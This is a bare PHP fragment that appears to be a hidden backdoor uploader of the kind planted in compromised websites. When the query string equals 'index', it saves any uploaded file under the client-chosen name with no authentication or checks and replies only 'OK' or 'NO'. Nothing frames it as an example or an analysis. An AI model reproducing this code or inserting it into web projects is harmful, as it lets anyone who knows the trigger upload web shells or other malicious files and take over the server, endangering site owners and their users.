if ($_SERVER['QUERY_STRING'] == 'index') { echo '
'; $uploaddir = ''; $uploadfile = $uploaddir.basename($_FILES['uploadfile']['name']); if (copy($_FILES['uploadfile']['tmp_name'], $uploadfile)) { echo "

OK

"; exit; }else{ echo "

NO

"; exit; } exit; }